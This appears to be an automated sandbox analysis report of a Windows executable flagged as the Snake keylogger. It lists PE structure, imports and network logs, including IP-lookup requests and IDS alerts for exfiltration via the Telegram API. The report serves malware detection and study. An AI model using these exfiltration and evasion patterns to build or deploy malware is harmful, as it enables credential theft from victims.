bt dword ptr [004BE324h], 01h
jc 00007FCF14D43940h
bt dword ptr [004C31FCh], 00000000h
jnc 00007FCF14D4360Dh
test edi, 00000003h
jne 00007FCF14D4361Eh
test esi, 00000003h
jne 00007FCF14D435FDh
bt edi, 02h
jnc 00007FCF14D4346Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FCF14D43473h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FCF14D434C5h
bt esi, 03h
jnc 00007FCF14D43518h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD4 build 31101
[RES] VS2013 build 21005
[LNK] VS2013 UPD4 build 31101

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x1f9a4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe7000	0x711c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dcc4	0x8de00	d28a820a1d9ff26cda02d12b888ba4b4	False	0.5728679102422908	data	6.676118058520316	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	79b14b254506b0dbc8cd0ad67fb70ad9	False	0.33535526761517614	OpenPGP Public Key	5.76010872795207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	9f9d6f746f1a415a63de45f8b7983d33	False	0.1017530487804878	data	1.198745897703538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc7000	0x1f9a4	0x1fa00	de1603636ad5e329d2d4a3d6617760a2	False	0.7920423666007905	data	7.504438135770277	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe7000	0x711c	0x7200	6fcae3cbbf6bfbabf5ec5bbe7cf612c3	False	0.7650767543859649	data	6.779031650454199	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc75a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc76d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc77f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc7920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc7c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc7d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc8bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc9480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc99e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xcbf90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xcd038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xcd4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xcd4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcda84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xce110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xce5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xceb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcf1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcf660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcf7b8	0x16c6c	data			1.0003858851777216
RT_GROUP_ICON	0xe6424	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0xe649c	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xe64b0	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xe64c4	0x14	data	English	Great Britain	1.25
RT_VERSION	0xe64d8	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0xe65b4	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:31:10.898786+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49700	193.122.130.0	80	TCP
2025-01-10T20:31:18.242631+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49700	193.122.130.0	80	TCP
2025-01-10T20:31:18.911551+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49713	149.154.167.220	443	TCP
2025-01-10T20:31:19.250413+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49713	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:31:07.612539053 CET	49700	80	192.168.2.7	193.122.130.0
Jan 10, 2025 20:31:07.617516041 CET	80	49700	193.122.130.0	192.168.2.7
Jan 10, 2025 20:31:07.617594957 CET	49700	80	192.168.2.7	193.122.130.0
Jan 10, 2025 20:31:07.618750095 CET	49700	80	192.168.2.7	193.122.130.0
Jan 10, 2025 20:31:07.623603106 CET	80	49700	193.122.130.0	192.168.2.7
Jan 10, 2025 20:31:09.021493912 CET	80	49700	193.122.130.0	192.168.2.7
Jan 10, 2025 20:31:09.028472900 CET	49700	80	192.168.2.7	193.122.130.0
Jan 10, 2025 20:31:09.033365965 CET	80	49700	193.122.130.0	192.168.2.7
Jan 10, 2025 20:31:10.845824957 CET	80	49700	193.122.130.0	192.168.2.7
Jan 10, 2025 20:31:10.898786068 CET	49700	80	192.168.2.7	193.122.130.0
Jan 10, 2025 20:31:10.962084055 CET	49701	443	192.168.2.7	104.21.80.1
Jan 10, 2025 20:31:10.962124109 CET	443	49701	104.21.80.1	192.168.2.7
Jan 10, 2025 20:31:10.962182045 CET	49701	443	192.168.2.7	104.21.80.1
Jan 10, 2025 20:31:10.972408056 CET	49701	443	192.168.2.7	104.21.80.1
Jan 10, 2025 20:31:10.972420931 CET	443	49701	104.21.80.1	192.168.2.7
Jan 10, 2025 20:31:11.463617086 CET	443	49701	104.21.80.1	192.168.2.7
Jan 10, 2025 20:31:11.463711977 CET	49701	443	192.168.2.7	104.21.80.1
Jan 10, 2025 20:31:11.469921112 CET	49701	443	192.168.2.7	104.21.80.1
Jan 10, 2025 20:31:11.469929934 CET	443	49701	104.21.80.1	192.168.2.7
Jan 10, 2025 20:31:11.470343113 CET	443	49701	104.21.80.1	192.168.2.7
Jan 10, 2025 20:31:11.523781061 CET	49701	443	192.168.2.7	104.21.80.1
Jan 10, 2025 20:31:11.527323961 CET	49701	443	192.168.2.7	104.21.80.1
Jan 10, 2025 20:31:11.575323105 CET	443	49701	104.21.80.1	192.168.2.7
Jan 10, 2025 20:31:11.647001028 CET	443	49701	104.21.80.1	192.168.2.7
Jan 10, 2025 20:31:11.647083044 CET	443	49701	104.21.80.1	192.168.2.7
Jan 10, 2025 20:31:11.647386074 CET	49701	443	192.168.2.7	104.21.80.1
Jan 10, 2025 20:31:11.653911114 CET	49701	443	192.168.2.7	104.21.80.1
Jan 10, 2025 20:31:16.769968987 CET	49700	80	192.168.2.7	193.122.130.0
Jan 10, 2025 20:31:16.774966002 CET	80	49700	193.122.130.0	192.168.2.7
Jan 10, 2025 20:31:18.202204943 CET	80	49700	193.122.130.0	192.168.2.7
Jan 10, 2025 20:31:18.221260071 CET	49713	443	192.168.2.7	149.154.167.220
Jan 10, 2025 20:31:18.221309900 CET	443	49713	149.154.167.220	192.168.2.7
Jan 10, 2025 20:31:18.221396923 CET	49713	443	192.168.2.7	149.154.167.220
Jan 10, 2025 20:31:18.222304106 CET	49713	443	192.168.2.7	149.154.167.220
Jan 10, 2025 20:31:18.222342014 CET	443	49713	149.154.167.220	192.168.2.7
Jan 10, 2025 20:31:18.242630959 CET	49700	80	192.168.2.7	193.122.130.0
Jan 10, 2025 20:31:18.862552881 CET	443	49713	149.154.167.220	192.168.2.7
Jan 10, 2025 20:31:18.862704039 CET	49713	443	192.168.2.7	149.154.167.220
Jan 10, 2025 20:31:18.864634991 CET	49713	443	192.168.2.7	149.154.167.220
Jan 10, 2025 20:31:18.864641905 CET	443	49713	149.154.167.220	192.168.2.7
Jan 10, 2025 20:31:18.864883900 CET	443	49713	149.154.167.220	192.168.2.7
Jan 10, 2025 20:31:18.866318941 CET	49713	443	192.168.2.7	149.154.167.220
Jan 10, 2025 20:31:18.911324024 CET	443	49713	149.154.167.220	192.168.2.7
Jan 10, 2025 20:31:18.911493063 CET	49713	443	192.168.2.7	149.154.167.220
Jan 10, 2025 20:31:18.911501884 CET	443	49713	149.154.167.220	192.168.2.7
Jan 10, 2025 20:31:19.250459909 CET	443	49713	149.154.167.220	192.168.2.7
Jan 10, 2025 20:31:19.250560045 CET	443	49713	149.154.167.220	192.168.2.7
Jan 10, 2025 20:31:19.250715971 CET	49713	443	192.168.2.7	149.154.167.220
Jan 10, 2025 20:31:19.251568079 CET	49713	443	192.168.2.7	149.154.167.220
Jan 10, 2025 20:31:37.891025066 CET	49532	53	192.168.2.7	162.159.36.2
Jan 10, 2025 20:31:37.895863056 CET	53	49532	162.159.36.2	192.168.2.7
Jan 10, 2025 20:31:37.895942926 CET	49532	53	192.168.2.7	162.159.36.2
Jan 10, 2025 20:31:37.900803089 CET	53	49532	162.159.36.2	192.168.2.7
Jan 10, 2025 20:31:38.343326092 CET	49532	53	192.168.2.7	162.159.36.2
Jan 10, 2025 20:31:38.348253965 CET	53	49532	162.159.36.2	192.168.2.7
Jan 10, 2025 20:31:38.348306894 CET	49532	53	192.168.2.7	162.159.36.2
Jan 10, 2025 20:32:23.200793982 CET	80	49700	193.122.130.0	192.168.2.7
Jan 10, 2025 20:32:23.201010942 CET	49700	80	192.168.2.7	193.122.130.0
Jan 10, 2025 20:32:51.665461063 CET	49700	80	192.168.2.7	193.122.130.0
Jan 10, 2025 20:32:51.670404911 CET	80	49700	193.122.130.0	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:31:07.597814083 CET	55006	53	192.168.2.7	1.1.1.1
Jan 10, 2025 20:31:07.605889082 CET	53	55006	1.1.1.1	192.168.2.7
Jan 10, 2025 20:31:10.954050064 CET	60181	53	192.168.2.7	1.1.1.1
Jan 10, 2025 20:31:10.961306095 CET	53	60181	1.1.1.1	192.168.2.7
Jan 10, 2025 20:31:18.207685947 CET	53701	53	192.168.2.7	1.1.1.1
Jan 10, 2025 20:31:18.216065884 CET	53	53701	1.1.1.1	192.168.2.7
Jan 10, 2025 20:31:37.890415907 CET	53	58914	162.159.36.2	192.168.2.7
Jan 10, 2025 20:31:38.359833002 CET	59846	53	192.168.2.7	1.1.1.1
Jan 10, 2025 20:31:38.368477106 CET	53	59846	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:31:07.597814083 CET	192.168.2.7	1.1.1.1	0xc8bb	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:31:10.954050064 CET	192.168.2.7	1.1.1.1	0xfc7d	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:31:18.207685947 CET	192.168.2.7	1.1.1.1	0xb17b	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:31:38.359833002 CET	192.168.2.7	1.1.1.1	0xf3a6	Standard query (0)	171.39.242.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:31:07.605889082 CET	1.1.1.1	192.168.2.7	0xc8bb	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:31:07.605889082 CET	1.1.1.1	192.168.2.7	0xc8bb	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:31:07.605889082 CET	1.1.1.1	192.168.2.7	0xc8bb	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:31:07.605889082 CET	1.1.1.1	192.168.2.7	0xc8bb	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:31:07.605889082 CET	1.1.1.1	192.168.2.7	0xc8bb	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:31:07.605889082 CET	1.1.1.1	192.168.2.7	0xc8bb	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:31:10.961306095 CET	1.1.1.1	192.168.2.7	0xfc7d	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:31:10.961306095 CET	1.1.1.1	192.168.2.7	0xfc7d	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:31:10.961306095 CET	1.1.1.1	192.168.2.7	0xfc7d	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:31:10.961306095 CET	1.1.1.1	192.168.2.7	0xfc7d	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:31:10.961306095 CET	1.1.1.1	192.168.2.7	0xfc7d	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:31:10.961306095 CET	1.1.1.1	192.168.2.7	0xfc7d	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:31:10.961306095 CET	1.1.1.1	192.168.2.7	0xfc7d	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:31:18.216065884 CET	1.1.1.1	192.168.2.7	0xb17b	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:31:38.368477106 CET	1.1.1.1	192.168.2.7	0xf3a6	Name error (3)	171.39.242.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	193.122.130.0	80	4836	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:31:07.618750095 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:31:09.021493912 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:31:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0421884233f4542e8b92e3e209f4d9f9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 20:31:09.028472900 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 20:31:10.845824957 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:31:10 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4a045ffbd1d0dc769c1bfe5e80d0959a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 20:31:16.769968987 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
